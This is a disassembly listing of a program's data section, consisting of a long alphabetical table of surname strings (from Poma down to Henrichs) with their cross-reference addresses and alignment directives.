aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6DCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6D8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6D4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6D0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6CCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6C8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6C4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6C0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6BCo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6B8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6B4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6B0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E6ACo
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E6A4o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E6A0o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E69Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E698o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E694o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E690o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E68Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E688o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E684o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E680o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E67Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E678o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E674o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E670o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E66Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E668o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E664o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E660o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E65Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E658o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E654o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E650o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E64Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E648o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E644o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E640o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E63Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E638o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E634o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E630o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E62Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E628o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E624o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E620o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E61Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E618o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E614o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E610o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E60Co
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E608o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E604o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E600o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5FCo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5F8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5F4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5F0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5ECo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5E8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5E4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5E0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5DCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5D8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5D4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5D0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5CCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5C8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5C4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5C0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5B8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5B4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5B0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E5ACo
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E5A8o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E5A4o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E5A0o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E59Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E598o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E594o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E590o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E58Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E588o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E584o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E580o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E57Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E578o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E574o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E570o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E56Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E568o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E564o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E560o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E55Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E558o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E554o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E550o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E54Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E548o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E544o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E540o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E53Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E538o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E534o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E530o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E52Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E528o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E524o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E520o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E51Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E518o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E514o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E510o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E50Co
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E508o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E504o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E500o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4FCo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4F8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4F4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4F0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4ECo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4E8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4E4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4E0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4DCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4D8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4D4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4D0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4CCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4C8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4C4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4C0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4BCo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4B8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4B4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4B0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E4ACo
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E4A8o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E4A4o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E4A0o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E49Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E498o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E494o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E490o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E488o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E484o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E480o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E47Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E478o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E474o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E470o
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E46Co
aMay		db 'May',0              ; DATA XREF: ___:0042E468o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E464o
		align 10h
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E460o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E45Co
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E458o
		align 10h
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E454o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E450o
		align 10h
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E44Co
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E448o
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E444o
		align 10h
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E440o
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E43Co
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E438o
		align 10h
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E434o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E430o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E42Co
		align 10h
aMarch		db 'March',0            ; DATA XREF: ___:0042E428o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E424o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E420o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E41Co
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E418o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E414o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E410o
		align 10h
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E40Co
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E408o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E404o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E400o
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E3FCo
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E3F8o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E3F4o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E3F0o
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E3ECo
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E3E8o
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E3E4o
		align 10h
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E3E0o
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E3DCo
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E3D8o
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3D4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3D0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3CCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3C8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3C4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3C0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3BCo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3B8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3B4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3B0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E3ACo
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E3A8o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E3A4o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E3A0o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E39Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E398o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E394o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E390o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E38Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E388o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E384o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E380o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E37Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E378o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E374o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E370o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E36Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E368o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E364o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E360o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E35Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E358o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E354o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E350o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E34Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E348o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E344o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E340o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E33Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E338o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E334o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E330o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E32Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E328o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E324o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E320o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E31Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E318o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E314o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E310o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E30Co
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E308o
					; ___:00432964o
		align 4
dword_430058	dd 6C6C614Ch		; DATA XREF: ___:0042E304o
aEmant		db 'emant',0            ; DATA XREF: ___:off_432800o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E300o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2FCo
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2F8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2F4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2F0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2ECo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2E8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2E4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2E0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2DCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2D4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2D0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2CCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2C8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2C4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2C0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2BCo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2B8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2B4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2B0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E2ACo
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E2A8o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E2A4o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E2A0o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E29Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E298o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E294o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E290o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E28Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E288o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E284o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E280o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E27Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E278o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E274o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E270o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E26Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E268o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E264o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E260o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E25Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E258o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E254o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E250o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E24Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E248o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E244o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E240o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E23Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E238o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E234o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E230o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E22Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E228o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E224o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E220o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E21Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E218o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E214o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E210o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E20Co
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E208o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E204o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E200o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1FCo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1F8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1F4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1F0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1ECo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1E8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1E4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1E0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1DCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1D8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1D4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1D0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1CCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1C8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1C4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1C0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1BCo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1B8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1B4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1B0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E1ACo
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E1A8o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E1A4o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E1A0o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E19Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E198o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E194o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E190o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E18Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E188o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E184o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E180o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E17Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E178o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E174o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E170o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E16Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E168o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E164o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E160o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E15Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E158o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E154o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E150o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E14Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E148o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E144o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E140o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E13Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E138o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E134o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E130o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E12Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E128o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E124o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E120o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E11Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E118o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E114o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E110o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E10Co
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E108o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E104o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E100o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0FCo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0F4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0F0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0ECo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0E8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0E4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0E0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0DCo
		align 4
